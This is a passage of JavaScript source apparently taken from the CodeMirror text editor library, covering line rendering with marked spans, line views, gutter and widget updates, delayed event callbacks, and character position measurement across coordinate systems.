spans.length; ++j) {\n        var sp = spans[j], m = sp.marker;\n        if (m.type == \"bookmark\" && sp.from == pos && m.widgetNode) {\n          foundBookmarks.push(m);\n        } else if (sp.from <= pos && (sp.to == null || sp.to > pos || m.collapsed && sp.to == pos && sp.from == pos)) {\n          if (sp.to != null && sp.to != pos && nextChange > sp.to) {\n            nextChange = sp.to;\n            spanEndStyle = \"\";\n          }\n          if (m.className) { spanStyle += \" \" + m.className; }\n          if (m.css) { css = (css ? css + \";\" : \"\") + m.css; }\n          if (m.startStyle && sp.from == pos) { spanStartStyle += \" \" + m.startStyle; }\n          if (m.endStyle && sp.to == nextChange) { (endStyles || (endStyles = [])).push(m.endStyle, sp.to); }\n          if (m.title && !title) { title = m.title; }\n          if (m.collapsed && (!collapsed || compareCollapsedMarkers(collapsed.marker, m) < 0))\n            { collapsed = sp; }\n        } else if (sp.from > pos && nextChange > sp.from) {\n          nextChange = sp.from;\n        }\n      }\n      if (endStyles) { for (var j$1 = 0; j$1 < endStyles.length; j$1 += 2)\n        { if (endStyles[j$1 + 1] == nextChange) { spanEndStyle += \" \" + endStyles[j$1]; } } }\n\n      if (!collapsed || collapsed.from == pos) { for (var j$2 = 0; j$2 < foundBookmarks.length; ++j$2)\n        { buildCollapsedSpan(builder, 0, foundBookmarks[j$2]); } }\n      if (collapsed && (collapsed.from || 0) == pos) {\n        buildCollapsedSpan(builder, (collapsed.to == null ? len + 1 : collapsed.to) - pos,\n                           collapsed.marker, collapsed.from == null);\n        if (collapsed.to == null) { return }\n        if (collapsed.to == pos) { collapsed = false; }\n      }\n    }\n    if (pos >= len) { break }\n\n    var upto = Math.min(len, nextChange);\n    while (true) {\n      if (text) {\n        var end = pos + text.length;\n        if (!collapsed) {\n          var tokenText = end > upto ? text.slice(0, upto - pos) : text;\n          builder.addToken(builder, tokenText, style ? style + spanStyle : spanStyle,\n                           spanStartStyle, pos + tokenText.length == nextChange ? spanEndStyle : \"\", title, css);\n        }\n        if (end >= upto) {text = text.slice(upto - pos); pos = upto; break}\n        pos = end;\n        spanStartStyle = \"\";\n      }\n      text = allText.slice(at, at = styles[i++]);\n      style = interpretTokenStyle(styles[i++], builder.cm.options);\n    }\n  }\n}\n\n\n// These objects are used to represent the visible (currently drawn)\n// part of the document. A LineView may correspond to multiple\n// logical lines, if those are connected by collapsed ranges.\nfunction LineView(doc, line, lineN) {\n  // The starting line\n  this.line = line;\n  // Continuing lines, if any\n  this.rest = visualLineContinued(line);\n  // Number of logical lines in this visual line\n  this.size = this.rest ? lineNo(lst(this.rest)) - lineN + 1 : 1;\n  this.node = this.text = null;\n  this.hidden = lineIsHidden(doc, line);\n}\n\n// Create a range of LineView objects for the given lines.\nfunction buildViewArray(cm, from, to) {\n  var array = [], nextPos;\n  for (var pos = from; pos < to; pos = nextPos) {\n    var view = new LineView(cm.doc, getLine(cm.doc, pos), pos);\n    nextPos = pos + view.size;\n    array.push(view);\n  }\n  return array\n}\n\nvar operationGroup = null;\n\nfunction pushOperation(op) {\n  if (operationGroup) {\n    operationGroup.ops.push(op);\n  } else {\n    op.ownsGroup = operationGroup = {\n      ops: [op],\n      delayedCallbacks: []\n    };\n  }\n}\n\nfunction fireCallbacksForOps(group) {\n  // Calls delayed callbacks and cursorActivity handlers until no\n  // new ones appear\n  var callbacks = group.delayedCallbacks, i = 0;\n  do {\n    for (; i < callbacks.length; i++)\n      { callbacks[i].call(null); }\n    for (var j = 0; j < group.ops.length; j++) {\n      var op = group.ops[j];\n      if (op.cursorActivityHandlers)\n        { while (op.cursorActivityCalled < op.cursorActivityHandlers.length)\n          { op.cursorActivityHandlers[op.cursorActivityCalled++].call(null, op.cm); } }\n    }\n  } while (i < callbacks.length)\n}\n\nfunction finishOperation(op, endCb) {\n  var group = op.ownsGroup;\n  if (!group) { return }\n\n  try { fireCallbacksForOps(group); }\n  finally {\n    operationGroup = null;\n    endCb(group);\n  }\n}\n\nvar orphanDelayedCallbacks = null;\n\n// Often, we want to signal events at a point where we are in the\n// middle of some work, but don't want the handler to start calling\n// other methods on the editor, which might be in an inconsistent\n// state or simply not expect any other events to happen.\n// signalLater looks whether there are any handlers, and schedules\n// them to be executed when the last operation ends, or, if no\n// operation is active, when a timeout fires.\nfunction signalLater(emitter, type /*, values...*/) {\n  var arr = getHandlers(emitter, type);\n  if (!arr.length) { return }\n  var args = Array.prototype.slice.call(arguments, 2), list;\n  if (operationGroup) {\n    list = operationGroup.delayedCallbacks;\n  } else if (orphanDelayedCallbacks) {\n    list = orphanDelayedCallbacks;\n  } else {\n    list = orphanDelayedCallbacks = [];\n    setTimeout(fireOrphanDelayed, 0);\n  }\n  var loop = function ( i ) {\n    list.push(function () { return arr[i].apply(null, args); });\n  };\n\n  for (var i = 0; i < arr.length; ++i)\n    loop( i );\n}\n\nfunction fireOrphanDelayed() {\n  var delayed = orphanDelayedCallbacks;\n  orphanDelayedCallbacks = null;\n  for (var i = 0; i < delayed.length; ++i) { delayed[i](); }\n}\n\n// When an aspect of a line changes, a string is added to\n// lineView.changes. This updates the relevant part of the line's\n// DOM structure.\nfunction updateLineForChanges(cm, lineView, lineN, dims) {\n  for (var j = 0; j < lineView.changes.length; j++) {\n    var type = lineView.changes[j];\n    if (type == \"text\") { updateLineText(cm, lineView); }\n    else if (type == \"gutter\") { updateLineGutter(cm, lineView, lineN, dims); }\n    else if (type == \"class\") { updateLineClasses(cm, lineView); }\n    else if (type == \"widget\") { updateLineWidgets(cm, lineView, dims); }\n  }\n  lineView.changes = null;\n}\n\n// Lines with gutter elements, widgets or a background class need to\n// be wrapped, and have the extra elements added to the wrapper div\nfunction ensureLineWrapped(lineView) {\n  if (lineView.node == lineView.text) {\n    lineView.node = elt(\"div\", null, null, \"position: relative\");\n    if (lineView.text.parentNode)\n      { lineView.text.parentNode.replaceChild(lineView.node, lineView.text); }\n    lineView.node.appendChild(lineView.text);\n    if (ie && ie_version < 8) { lineView.node.style.zIndex = 2; }\n  }\n  return lineView.node\n}\n\nfunction updateLineBackground(cm, lineView) {\n  var cls = lineView.bgClass ? lineView.bgClass + \" \" + (lineView.line.bgClass || \"\") : lineView.line.bgClass;\n  if (cls) { cls += \" CodeMirror-linebackground\"; }\n  if (lineView.background) {\n    if (cls) { lineView.background.className = cls; }\n    else { lineView.background.parentNode.removeChild(lineView.background); lineView.background = null; }\n  } else if (cls) {\n    var wrap = ensureLineWrapped(lineView);\n    lineView.background = wrap.insertBefore(elt(\"div\", null, cls), wrap.firstChild);\n    cm.display.input.setUneditable(lineView.background);\n  }\n}\n\n// Wrapper around buildLineContent which will reuse the structure\n// in display.externalMeasured when possible.\nfunction getLineContent(cm, lineView) {\n  var ext = cm.display.externalMeasured;\n  if (ext && ext.line == lineView.line) {\n    cm.display.externalMeasured = null;\n    lineView.measure = ext.measure;\n    return ext.built\n  }\n  return buildLineContent(cm, lineView)\n}\n\n// Redraw the line's text. Interacts with the background and text\n// classes because the mode may output tokens that influence these\n// classes.\nfunction updateLineText(cm, lineView) {\n  var cls = lineView.text.className;\n  var built = getLineContent(cm, lineView);\n  if (lineView.text == lineView.node) { lineView.node = built.pre; }\n  lineView.text.parentNode.replaceChild(built.pre, lineView.text);\n  lineView.text = built.pre;\n  if (built.bgClass != lineView.bgClass || built.textClass != lineView.textClass) {\n    lineView.bgClass = built.bgClass;\n    lineView.textClass = built.textClass;\n    updateLineClasses(cm, lineView);\n  } else if (cls) {\n    lineView.text.className = cls;\n  }\n}\n\nfunction updateLineClasses(cm, lineView) {\n  updateLineBackground(cm, lineView);\n  if (lineView.line.wrapClass)\n    { ensureLineWrapped(lineView).className = lineView.line.wrapClass; }\n  else if (lineView.node != lineView.text)\n    { lineView.node.className = \"\"; }\n  var textClass = lineView.textClass ? lineView.textClass + \" \" + (lineView.line.textClass || \"\") : lineView.line.textClass;\n  lineView.text.className = textClass || \"\";\n}\n\nfunction updateLineGutter(cm, lineView, lineN, dims) {\n  if (lineView.gutter) {\n    lineView.node.removeChild(lineView.gutter);\n    lineView.gutter = null;\n  }\n  if (lineView.gutterBackground) {\n    lineView.node.removeChild(lineView.gutterBackground);\n    lineView.gutterBackground = null;\n  }\n  if (lineView.line.gutterClass) {\n    var wrap = ensureLineWrapped(lineView);\n    lineView.gutterBackground = elt(\"div\", null, \"CodeMirror-gutter-background \" + lineView.line.gutterClass,\n                                    (\"left: \" + (cm.options.fixedGutter ? dims.fixedPos : -dims.gutterTotalWidth) + \"px; width: \" + (dims.gutterTotalWidth) + \"px\"));\n    cm.display.input.setUneditable(lineView.gutterBackground);\n    wrap.insertBefore(lineView.gutterBackground, lineView.text);\n  }\n  var markers = lineView.line.gutterMarkers;\n  if (cm.options.lineNumbers || markers) {\n    var wrap$1 = ensureLineWrapped(lineView);\n    var gutterWrap = lineView.gutter = elt(\"div\", null, \"CodeMirror-gutter-wrapper\", (\"left: \" + (cm.options.fixedGutter ? dims.fixedPos : -dims.gutterTotalWidth) + \"px\"));\n    cm.display.input.setUneditable(gutterWrap);\n    wrap$1.insertBefore(gutterWrap, lineView.text);\n    if (lineView.line.gutterClass)\n      { gutterWrap.className += \" \" + lineView.line.gutterClass; }\n    if (cm.options.lineNumbers && (!markers || !markers[\"CodeMirror-linenumbers\"]))\n      { lineView.lineNumber = gutterWrap.appendChild(\n        elt(\"div\", lineNumberFor(cm.options, lineN),\n            \"CodeMirror-linenumber CodeMirror-gutter-elt\",\n            (\"left: \" + (dims.gutterLeft[\"CodeMirror-linenumbers\"]) + \"px; width: \" + (cm.display.lineNumInnerWidth) + \"px\"))); }\n    if (markers) { for (var k = 0; k < cm.options.gutters.length; ++k) {\n      var id = cm.options.gutters[k], found = markers.hasOwnProperty(id) && markers[id];\n      if (found)\n        { gutterWrap.appendChild(elt(\"div\", [found], \"CodeMirror-gutter-elt\",\n                                   (\"left: \" + (dims.gutterLeft[id]) + \"px; width: \" + (dims.gutterWidth[id]) + \"px\"))); }\n    } }\n  }\n}\n\nfunction updateLineWidgets(cm, lineView, dims) {\n  if (lineView.alignable) { lineView.alignable = null; }\n  for (var node = lineView.node.firstChild, next = (void 0); node; node = next) {\n    next = node.nextSibling;\n    if (node.className == \"CodeMirror-linewidget\")\n      { lineView.node.removeChild(node); }\n  }\n  insertLineWidgets(cm, lineView, dims);\n}\n\n// Build a line's DOM representation from scratch\nfunction buildLineElement(cm, lineView, lineN, dims) {\n  var built = getLineContent(cm, lineView);\n  lineView.text = lineView.node = built.pre;\n  if (built.bgClass) { lineView.bgClass = built.bgClass; }\n  if (built.textClass) { lineView.textClass = built.textClass; }\n\n  updateLineClasses(cm, lineView);\n  updateLineGutter(cm, lineView, lineN, dims);\n  insertLineWidgets(cm, lineView, dims);\n  return lineView.node\n}\n\n// A lineView may contain multiple logical lines (when merged by\n// collapsed spans). The widgets for all of them need to be drawn.\nfunction insertLineWidgets(cm, lineView, dims) {\n  insertLineWidgetsFor(cm, lineView.line, lineView, dims, true);\n  if (lineView.rest) { for (var i = 0; i < lineView.rest.length; i++)\n    { insertLineWidgetsFor(cm, lineView.rest[i], lineView, dims, false); } }\n}\n\nfunction insertLineWidgetsFor(cm, line, lineView, dims, allowAbove) {\n  if (!line.widgets) { return }\n  var wrap = ensureLineWrapped(lineView);\n  for (var i = 0, ws = line.widgets; i < ws.length; ++i) {\n    var widget = ws[i], node = elt(\"div\", [widget.node], \"CodeMirror-linewidget\");\n    if (!widget.handleMouseEvents) { node.setAttribute(\"cm-ignore-events\", \"true\"); }\n    positionLineWidget(widget, node, lineView, dims);\n    cm.display.input.setUneditable(node);\n    if (allowAbove && widget.above)\n      { wrap.insertBefore(node, lineView.gutter || lineView.text); }\n    else\n      { wrap.appendChild(node); }\n    signalLater(widget, \"redraw\");\n  }\n}\n\nfunction positionLineWidget(widget, node, lineView, dims) {\n  if (widget.noHScroll) {\n    (lineView.alignable || (lineView.alignable = [])).push(node);\n    var width = dims.wrapperWidth;\n    node.style.left = dims.fixedPos + \"px\";\n    if (!widget.coverGutter) {\n      width -= dims.gutterTotalWidth;\n      node.style.paddingLeft = dims.gutterTotalWidth + \"px\";\n    }\n    node.style.width = width + \"px\";\n  }\n  if (widget.coverGutter) {\n    node.style.zIndex = 5;\n    node.style.position = \"relative\";\n    if (!widget.noHScroll) { node.style.marginLeft = -dims.gutterTotalWidth + \"px\"; }\n  }\n}\n\nfunction widgetHeight(widget) {\n  if (widget.height != null) { return widget.height }\n  var cm = widget.doc.cm;\n  if (!cm) { return 0 }\n  if (!contains(document.body, widget.node)) {\n    var parentStyle = \"position: relative;\";\n    if (widget.coverGutter)\n      { parentStyle += \"margin-left: -\" + cm.display.gutters.offsetWidth + \"px;\"; }\n    if (widget.noHScroll)\n      { parentStyle += \"width: \" + cm.display.wrapper.clientWidth + \"px;\"; }\n    removeChildrenAndAdd(cm.display.measure, elt(\"div\", [widget.node], null, parentStyle));\n  }\n  return widget.height = widget.node.parentNode.offsetHeight\n}\n\n// Return true when the given mouse event happened in a widget\nfunction eventInWidget(display, e) {\n  for (var n = e_target(e); n != display.wrapper; n = n.parentNode) {\n    if (!n || (n.nodeType == 1 && n.getAttribute(\"cm-ignore-events\") == \"true\") ||\n        (n.parentNode == display.sizer && n != display.mover))\n      { return true }\n  }\n}\n\n// POSITION MEASUREMENT\n\nfunction paddingTop(display) {return display.lineSpace.offsetTop}\nfunction paddingVert(display) {return display.mover.offsetHeight - display.lineSpace.offsetHeight}\nfunction paddingH(display) {\n  if (display.cachedPaddingH) { return display.cachedPaddingH }\n  var e = removeChildrenAndAdd(display.measure, elt(\"pre\", \"x\"));\n  var style = window.getComputedStyle ? window.getComputedStyle(e) : e.currentStyle;\n  var data = {left: parseInt(style.paddingLeft), right: parseInt(style.paddingRight)};\n  if (!isNaN(data.left) && !isNaN(data.right)) { display.cachedPaddingH = data; }\n  return data\n}\n\nfunction scrollGap(cm) { return scrollerGap - cm.display.nativeBarWidth }\nfunction displayWidth(cm) {\n  return cm.display.scroller.clientWidth - scrollGap(cm) - cm.display.barWidth\n}\nfunction displayHeight(cm) {\n  return cm.display.scroller.clientHeight - scrollGap(cm) - cm.display.barHeight\n}\n\n// Ensure the lineView.wrapping.heights array is populated. This is\n// an array of bottom offsets for the lines that make up a drawn\n// line. When lineWrapping is on, there might be more than one\n// height.\nfunction ensureLineHeights(cm, lineView, rect) {\n  var wrapping = cm.options.lineWrapping;\n  var curWidth = wrapping && displayWidth(cm);\n  if (!lineView.measure.heights || wrapping && lineView.measure.width != curWidth) {\n    var heights = lineView.measure.heights = [];\n    if (wrapping) {\n      lineView.measure.width = curWidth;\n      var rects = lineView.text.firstChild.getClientRects();\n      for (var i = 0; i < rects.length - 1; i++) {\n        var cur = rects[i], next = rects[i + 1];\n        if (Math.abs(cur.bottom - next.bottom) > 2)\n          { heights.push((cur.bottom + next.top) / 2 - rect.top); }\n      }\n    }\n    heights.push(rect.bottom - rect.top);\n  }\n}\n\n// Find a line map (mapping character offsets to text nodes) and a\n// measurement cache for the given line number. (A line view might\n// contain multiple lines when collapsed ranges are present.)\nfunction mapFromLineView(lineView, line, lineN) {\n  if (lineView.line == line)\n    { return {map: lineView.measure.map, cache: lineView.measure.cache} }\n  for (var i = 0; i < lineView.rest.length; i++)\n    { if (lineView.rest[i] == line)\n      { return {map: lineView.measure.maps[i], cache: lineView.measure.caches[i]} } }\n  for (var i$1 = 0; i$1 < lineView.rest.length; i$1++)\n    { if (lineNo(lineView.rest[i$1]) > lineN)\n      { return {map: lineView.measure.maps[i$1], cache: lineView.measure.caches[i$1], before: true} } }\n}\n\n// Render a line into the hidden node display.externalMeasured. Used\n// when measurement is needed for a line that's not in the viewport.\nfunction updateExternalMeasurement(cm, line) {\n  line = visualLine(line);\n  var lineN = lineNo(line);\n  var view = cm.display.externalMeasured = new LineView(cm.doc, line, lineN);\n  view.lineN = lineN;\n  var built = view.built = buildLineContent(cm, view);\n  view.text = built.pre;\n  removeChildrenAndAdd(cm.display.lineMeasure, built.pre);\n  return view\n}\n\n// Get a {top, bottom, left, right} box (in line-local coordinates)\n// for a given character.\nfunction measureChar(cm, line, ch, bias) {\n  return measureCharPrepared(cm, prepareMeasureForLine(cm, line), ch, bias)\n}\n\n// Find a line view that corresponds to the given line number.\nfunction findViewForLine(cm, lineN) {\n  if (lineN >= cm.display.viewFrom && lineN < cm.display.viewTo)\n    { return cm.display.view[findViewIndex(cm, lineN)] }\n  var ext = cm.display.externalMeasured;\n  if (ext && lineN >= ext.lineN && lineN < ext.lineN + ext.size)\n    { return ext }\n}\n\n// Measurement can be split in two steps, the set-up work that\n// applies to the whole line, and the measurement of the actual\n// character. Functions like coordsChar, that need to do a lot of\n// measurements in a row, can thus ensure that the set-up work is\n// only done once.\nfunction prepareMeasureForLine(cm, line) {\n  var lineN = lineNo(line);\n  var view = findViewForLine(cm, lineN);\n  if (view && !view.text) {\n    view = null;\n  } else if (view && view.changes) {\n    updateLineForChanges(cm, view, lineN, getDimensions(cm));\n    cm.curOp.forceUpdate = true;\n  }\n  if (!view)\n    { view = updateExternalMeasurement(cm, line); }\n\n  var info = mapFromLineView(view, line, lineN);\n  return {\n    line: line, view: view, rect: null,\n    map: info.map, cache: info.cache, before: info.before,\n    hasHeights: false\n  }\n}\n\n// Given a prepared measurement object, measures the position of an\n// actual character (or fetches it from the cache).\nfunction measureCharPrepared(cm, prepared, ch, bias, varHeight) {\n  if (prepared.before) { ch = -1; }\n  var key = ch + (bias || \"\"), found;\n  if (prepared.cache.hasOwnProperty(key)) {\n    found = prepared.cache[key];\n  } else {\n    if (!prepared.rect)\n      { prepared.rect = prepared.view.text.getBoundingClientRect(); }\n    if (!prepared.hasHeights) {\n      ensureLineHeights(cm, prepared.view, prepared.rect);\n      prepared.hasHeights = true;\n    }\n    found = measureCharInner(cm, prepared, ch, bias);\n    if (!found.bogus) { prepared.cache[key] = found; }\n  }\n  return {left: found.left, right: found.right,\n          top: varHeight ? found.rtop : found.top,\n          bottom: varHeight ? found.rbottom : found.bottom}\n}\n\nvar nullRect = {left: 0, right: 0, top: 0, bottom: 0};\n\nfunction nodeAndOffsetInLineMap(map$$1, ch, bias) {\n  var node, start, end, collapse, mStart, mEnd;\n  // First, search the line map for the text node corresponding to,\n  // or closest to, the target character.\n  for (var i = 0; i < map$$1.length; i += 3) {\n    mStart = map$$1[i];\n    mEnd = map$$1[i + 1];\n    if (ch < mStart) {\n      start = 0; end = 1;\n      collapse = \"left\";\n    } else if (ch < mEnd) {\n      start = ch - mStart;\n      end = start + 1;\n    } else if (i == map$$1.length - 3 || ch == mEnd && map$$1[i + 3] > ch) {\n      end = mEnd - mStart;\n      start = end - 1;\n      if (ch >= mEnd) { collapse = \"right\"; }\n    }\n    if (start != null) {\n      node = map$$1[i + 2];\n      if (mStart == mEnd && bias == (node.insertLeft ? \"left\" : \"right\"))\n        { collapse = bias; }\n      if (bias == \"left\" && start == 0)\n        { while (i && map$$1[i - 2] == map$$1[i - 3] && map$$1[i - 1].insertLeft) {\n          node = map$$1[(i -= 3) + 2];\n          collapse = \"left\";\n        } }\n      if (bias == \"right\" && start == mEnd - mStart)\n        { while (i < map$$1.length - 3 && map$$1[i + 3] == map$$1[i + 4] && !map$$1[i + 5].insertLeft) {\n          node = map$$1[(i += 3) + 2];\n          collapse = \"right\";\n        } }\n      break\n    }\n  }\n  return {node: node, start: start, end: end, collapse: collapse, coverStart: mStart, coverEnd: mEnd}\n}\n\nfunction getUsefulRect(rects, bias) {\n  var rect = nullRect;\n  if (bias == \"left\") { for (var i = 0; i < rects.length; i++) {\n    if ((rect = rects[i]).left != rect.right) { break }\n  } } else { for (var i$1 = rects.length - 1; i$1 >= 0; i$1--) {\n    if ((rect = rects[i$1]).left != rect.right) { break }\n  } }\n  return rect\n}\n\nfunction measureCharInner(cm, prepared, ch, bias) {\n  var place = nodeAndOffsetInLineMap(prepared.map, ch, bias);\n  var node = place.node, start = place.start, end = place.end, collapse = place.collapse;\n\n  var rect;\n  if (node.nodeType == 3) { // If it is a text node, use a range to retrieve the coordinates.\n    for (var i$1 = 0; i$1 < 4; i$1++) { // Retry a maximum of 4 times when nonsense rectangles are returned\n      while (start && isExtendingChar(prepared.line.text.charAt(place.coverStart + start))) { --start; }\n      while (place.coverStart + end < place.coverEnd && isExtendingChar(prepared.line.text.charAt(place.coverStart + end))) { ++end; }\n      if (ie && ie_version < 9 && start == 0 && end == place.coverEnd - place.coverStart)\n        { rect = node.parentNode.getBoundingClientRect(); }\n      else\n        { rect = getUsefulRect(range(node, start, end).getClientRects(), bias); }\n      if (rect.left || rect.right || start == 0) { break }\n      end = start;\n      start = start - 1;\n      collapse = \"right\";\n    }\n    if (ie && ie_version < 11) { rect = maybeUpdateRectForZooming(cm.display.measure, rect); }\n  } else { // If it is a widget, simply get the box for the whole widget.\n    if (start > 0) { collapse = bias = \"right\"; }\n    var rects;\n    if (cm.options.lineWrapping && (rects = node.getClientRects()).length > 1)\n      { rect = rects[bias == \"right\" ? rects.length - 1 : 0]; }\n    else\n      { rect = node.getBoundingClientRect(); }\n  }\n  if (ie && ie_version < 9 && !start && (!rect || !rect.left && !rect.right)) {\n    var rSpan = node.parentNode.getClientRects()[0];\n    if (rSpan)\n      { rect = {left: rSpan.left, right: rSpan.left + charWidth(cm.display), top: rSpan.top, bottom: rSpan.bottom}; }\n    else\n      { rect = nullRect; }\n  }\n\n  var rtop = rect.top - prepared.rect.top, rbot = rect.bottom - prepared.rect.top;\n  var mid = (rtop + rbot) / 2;\n  var heights = prepared.view.measure.heights;\n  var i = 0;\n  for (; i < heights.length - 1; i++)\n    { if (mid < heights[i]) { break } }\n  var top = i ? heights[i - 1] : 0, bot = heights[i];\n  var result = {left: (collapse == \"right\" ? rect.right : rect.left) - prepared.rect.left,\n                right: (collapse == \"left\" ? rect.left : rect.right) - prepared.rect.left,\n                top: top, bottom: bot};\n  if (!rect.left && !rect.right) { result.bogus = true; }\n  if (!cm.options.singleCursorHeightPerLine) { result.rtop = rtop; result.rbottom = rbot; }\n\n  return result\n}\n\n// Work around problem with bounding client rects on ranges being\n// returned incorrectly when zoomed on IE10 and below.\nfunction maybeUpdateRectForZooming(measure, rect) {\n  if (!window.screen || screen.logicalXDPI == null ||\n      screen.logicalXDPI == screen.deviceXDPI || !hasBadZoomedRects(measure))\n    { return rect }\n  var scaleX = screen.logicalXDPI / screen.deviceXDPI;\n  var scaleY = screen.logicalYDPI / screen.deviceYDPI;\n  return {left: rect.left * scaleX, right: rect.right * scaleX,\n          top: rect.top * scaleY, bottom: rect.bottom * scaleY}\n}\n\nfunction clearLineMeasurementCacheFor(lineView) {\n  if (lineView.measure) {\n    lineView.measure.cache = {};\n    lineView.measure.heights = null;\n    if (lineView.rest) { for (var i = 0; i < lineView.rest.length; i++)\n      { lineView.measure.caches[i] = {}; } }\n  }\n}\n\nfunction clearLineMeasurementCache(cm) {\n  cm.display.externalMeasure = null;\n  removeChildren(cm.display.lineMeasure);\n  for (var i = 0; i < cm.display.view.length; i++)\n    { clearLineMeasurementCacheFor(cm.display.view[i]); }\n}\n\nfunction clearCaches(cm) {\n  clearLineMeasurementCache(cm);\n  cm.display.cachedCharWidth = cm.display.cachedTextHeight = cm.display.cachedPaddingH = null;\n  if (!cm.options.lineWrapping) { cm.display.maxLineChanged = true; }\n  cm.display.lineNumChars = null;\n}\n\nfunction pageScrollX() {\n  // Work around https://bugs.chromium.org/p/chromium/issues/detail?id=489206\n  // which causes page_Offset and bounding client rects to use\n  // different reference viewports and invalidate our calculations.\n  if (chrome && android) { return -(document.body.getBoundingClientRect().left - parseInt(getComputedStyle(document.body).marginLeft)) }\n  return window.pageXOffset || (document.documentElement || document.body).scrollLeft\n}\nfunction pageScrollY() {\n  if (chrome && android) { return -(document.body.getBoundingClientRect().top - parseInt(getComputedStyle(document.body).marginTop)) }\n  return window.pageYOffset || (document.documentElement || document.body).scrollTop\n}\n\n// Converts a {top, bottom, left, right} box from line-local\n// coordinates into another coordinate system. Context may be one of\n// \"line\", \"div\" (display.lineDiv), \"local\"./null (editor), \"window\",\n// or \"page\".\nfunction intoCoordSystem(cm, lineObj, rect, context, includeWidgets) {\n  if (!includeWidgets && lineObj.widgets) { for (var i = 0; i < lineObj.widgets.length; ++i) { if (lineObj.widgets[i].above) {\n    var size = widgetHeight(lineObj.widgets[i]);\n    rect.top += size; rect.bottom += size;\n  } } }\n  if (context == \"line\") { return rect }\n  if (!context) { context = \"local\"; }\n  var yOff = heightAtLine(lineObj);\n  if (context == \"local\") { yOff += paddingTop(cm.display); }\n  else { yOff -= cm.display.viewOffset; }\n  if (context == \"page\" || context == \"window\") {\n    var lOff = cm.display.lineSpace.getBoundingClientRect();\n    yOff += lOff.top + (context == \"window\" ? 0 : pageScrollY());\n    var xOff = lOff.left + (context == \"window\" ? 0 : pageScrollX());\n    rect.left += xOff; rect.right += xOff;\n  }\n  rect.top += yOff; rect.bottom += yOff;\n  return rect\n}\n\n// Coverts a box from \"div\" coords to another coordinate system.\n// Context may be \"window\", \"page\", \"div\", or \"local\"./null.\nfunction fromCoordSystem(cm, coords, context) {\n  if (context == \"div\") { return coords }\n  var left = coords.left, top = coords.top;\n  // First move into \"page\" coordinate system\n  if (context == \"page\") {\n    left -= pageScrollX();\n    top -= pageScrollY();\n  } else if (context == \"local\" || !context) {\n    var localBox = cm.display.sizer.getBoundingClientRect();\n    left += localBox.left;\n    top += localBox.top;\n  }\n\n  var lineSpaceBox = cm.display.lineSpace.getBoundingClientRect();\n  return {left: left - lineSpaceBox.left, top: top - lineSpaceBox.top}\n}\n\nfunction charCoords(cm, pos, context, lineObj, bias) {\n  if (!lineObj) { lineObj = getLine(cm.doc, pos.line); }\n  return intoCoordSystem(cm, lineObj, measureChar(cm, lineObj, pos.ch, bias), context)\n}\n\n// Returns a box for a given cursor position, which may have an\n// 'other' property containing the position of the secondary cursor\n// on a bidi boundary.\n// A cursor Pos(line, char, \"before\") is on the same visual line as `char - 1`\n// and after `char - 1` in writing order of `char - 1`\n// A cursor Pos(line, char, \"after\") is on the same visual line as `char`\n// and before `char` in writing order of `char`\n// Examples (upper-case letters are RTL, lower-case are LTR):\n//     Pos(0, 1, ...)\n//     before   after\n// ab     a|b     a|b\n// aB     a|B     aB|\n// Ab     |Ab     A|b\n// AB     B|A     B|A\n// Every position after the last character on a line is considered to stick\n// to the last character on the line.\nfunction cursorCoords(cm, pos, context, lineObj, preparedMeasure, varHeight) {\n  lineObj = lineObj || getLine(cm.doc, pos.line);\n  if (!preparedMeasure) { preparedMeasure = prepareMeasureForLine(cm, lineObj); }\n  function get(ch, right) {\n    var m = measureCharPrepared(cm, preparedMeasure, ch, right ? \"right\" : \"left\", varHeight);\n    if (right) { m.left = m.right; } else { m.right = m.left; }\n    return intoCoordSystem(cm, lineObj, m, context)\n  }\n  var order = getOrder(lineObj, cm.doc.direction), ch = pos.ch, sticky = pos.sticky;\n  if (ch >= lineObj.text.length) {\n    ch = lineObj.text.length;\n    sticky = \"before\";\n  } else if (ch <= 0) {\n    ch = 0;\n    sticky = \"after\";\n  }\n  if (!order) { return get(sticky == \"before\" ? ch - 1 : ch, sticky == \"before\") }\n\n  function getBidi(ch, partPos, invert) {\n    var part = order[partPos], right = (part.level % 2) != 0;\n    return get(invert ? ch - 1 : ch, right != invert)\n  }\n  var partPos = getBidiPartAt(order, ch, sticky);\n  var other = bidiOther;\n  var val = getBidi(ch, partPos, sticky == \"before\");\n  if (other != null) { val.other = getBidi(ch, other, sticky != \"before\"); }\n  return val\n}\n\n// Used to cheaply estimate the coordinates for a position. Used for\n// intermediate scroll updates.\nfunction estimateCoords(cm, pos) {\n  var left = 0;\n  pos = clipPos(cm.doc, pos);\n  if (!cm.options.lineWrapping) { left = charWidth(cm.display) * pos.ch; }\n  var lineObj = getLine(cm.doc, pos.line);\n  var top = heightAtLine(lineObj) + paddingTop(cm.display);\n  return {left: left, right: left, top: top, bottom: top + lineObj.height}\n}\n\n// Positions returned by coordsChar contain some extra information.\n// xRel is the relative x position of the input coordinates compared\n// to the found position (so xRel > 0 means the coordinates are to\n// the right of the character position, for example). When outside\n// is true, that means the coordinates lie outside the line's\n// vertical range.\nfunction PosWithInfo(line, ch, sticky, outside, xRel) {\n  var pos = Pos(line, ch, sticky);\n  pos.xRel = xRel;\n  if (outside) { pos.outside = true; }\n  return pos\n}\n\n// Compute the character position closest to the given coordinates.\n// Input must be lineSpace-local (\"div\" coordinate system).\nfunction coordsChar(cm, x, y) {\n  var doc = cm.doc;\n  y += cm.display.viewOffset;\n  if (y < 0) { return PosWithInfo(doc.first, 0, null, true, -1) }\n  var lineN = lineAtHeight(doc, y), last = doc.first + doc.size - 1;\n  if (lineN > last)\n    { return PosWithInfo(doc.first + doc.size - 1, getLine(doc, last).text.length, null, true, 1) }\n  if (x < 0) { x = 0; }\n\n  var lineObj = getLine(doc, lineN);\n  for (;;) {\n    var found = coordsCharInner(cm, lineObj, lineN, x, y);\n    var merged = collapsedSpanAtEnd(lineObj);\n    var mergedPos = merged && merged.find(0, true);\n    if (merged && (found.ch > mergedPos.from.ch || found.ch == mergedPos.from.ch && found.xRel > 0))\n      { lineN = lineNo(lineObj = mergedPos.to.line); }\n    else\n      { return found }\n  }\n}\n\nfunction wrappedLineExtent(cm, lineObj, preparedMeasure, y) {\n  var measure = function (ch) { return intoCoordSystem(cm, lineObj, measureCharPrepared(cm, preparedMeasure, ch), \"line\"); };\n  var end = lineObj.text.length;\n  var begin = findFirst(function (ch) { return measure(ch - 1).bottom <= y; }, end, 0);\n  end = findFirst(function (ch) { return measure(ch).top > y; }, begin, end);\n  return {begin: begin, end: end}\n}\n\nfunction wrappedLineExtentChar(cm, lineObj, preparedMeasure, target) {\n  var 